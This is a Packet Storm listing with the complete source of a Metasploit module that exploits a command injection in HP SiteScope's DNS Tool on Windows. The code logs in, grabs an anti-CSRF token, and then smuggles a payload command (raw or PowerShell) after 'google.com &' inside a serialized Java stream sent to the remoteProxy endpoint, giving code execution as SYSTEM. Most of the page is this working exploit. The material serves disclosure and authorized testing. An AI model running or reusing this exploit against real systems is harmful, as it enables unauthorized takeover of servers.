exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP SiteScope DNS Tool Command Injection

HP SiteScope DNS Tool Command Injection
Posted Oct 10, 2015
Authored by juan vazquez, Charles Riggs, Kirk Hayes | Site metasploit.com

This Metasploit module exploits a command injection vulnerability discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26 and 11.30). The vulnerability exists in the DNS Tool allowing an attacker to execute arbitrary commands in the context of the service. By default, HP SiteScope installs and runs as SYSTEM in Windows and does not require authentication. This vulnerability only exists on the Windows version. The Linux version is unaffected.

tags | exploit, arbitrary
systems | linux, windows
SHA-256 | 3607c5590e7cac6a67ea8ff74295111369ad5e039b60d25c3eb1d6bd7e802c0c

HP SiteScope DNS Tool Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => 'HP SiteScope DNS Tool Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
and 11.30). The vulnerability exists in the DNS Tool allowing an
attacker to execute arbitrary commands in the context of the service. By
default, HP SiteScope installs and runs as SYSTEM in Windows and does
not require authentication. This vulnerability only exists on the
Windows version. The Linux version is unaffected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
'Juan Vazquez' # help with MSF module
],
'References' =>
[
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
],
'Platform' => 'win',
'Targets' =>
[
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
{
'Arch' => [ARCH_X86_64, ARCH_X86]
}
],
[ 'HP SiteScope 11.30 / CMD',
{
'Arch' => [ARCH_CMD]
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 9 2015'))

register_options(
[
Opt::RPORT(8080),
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end

def exploit
initial_session = get_initial_session_id
redirect = authenticate(initial_session)
session = get_authenticated_session_id(initial_session, redirect)
csrf_token = get_csrf_token(session)

print_status("#{peer} - Executing payload")
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
'method' => 'POST',
'vars_get' => {
'OWASP_CSRFTOKEN' => csrf_token
},
'cookie' => session,
'ctype' => 'application/octet- serializable object',
'data' => build_stream(random_mark)
}, 5)

if res && res.code == 200 && res.body
res_io = StringIO.new(res.body.to_s)
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
return if res_stream.nil?
show = false
res_stream.references.each do |ref|
if ref.class == Rex::Java::Serialization::Model::Utf && show
print_good(ref.contents)
next
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
show = true
next
end
end
end
end

def get_initial_session_id
print_status("#{peer} - Retrieving an initial JSESSIONID...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
'method' => 'POST'
)

if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
session_id = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
end

session_id
end

def authenticate(session_id)
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
'method' => 'POST',
'cookie' => session_id,
'vars_post' => {
'j_username' => datastore['SITE_SCOPE_USER'],
'j_password' => datastore['SITE_SCOPE_PASSWORD']
}
})

if res && res.code == 302
redirect = URI(res.headers['Location']).path
else
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
end

redirect
end

def get_authenticated_session_id(session_id, redirect)
print_status("#{peer} - Following redirection to finish authentication...")

res = send_request_cgi(
{
'uri' => redirect,
'method' => 'GET',
'cookie' => session_id
})

if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
auth_session = res.get_cookies
else
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
end

auth_session
end

def get_csrf_token(session)
print_status("#{peer} - Getting anti-CSRF token...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
'cookie' => session
)

if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
csrf_token = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
end

csrf_token
end

def build_stream(random_mark)
site = "google.com & echo #{random_mark} & "
if target.arch.include?('cmd')
command = payload.encoded
else
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
end

file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')

f = File.new(file, 'rb')
stream = Rex::Java::Serialization::Model::Stream.decode(f)
f.close

dns_param = stream.references[0x44]
dns_param.contents = site + command
dns_param.length = dns_param.contents.length

stream.encode
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close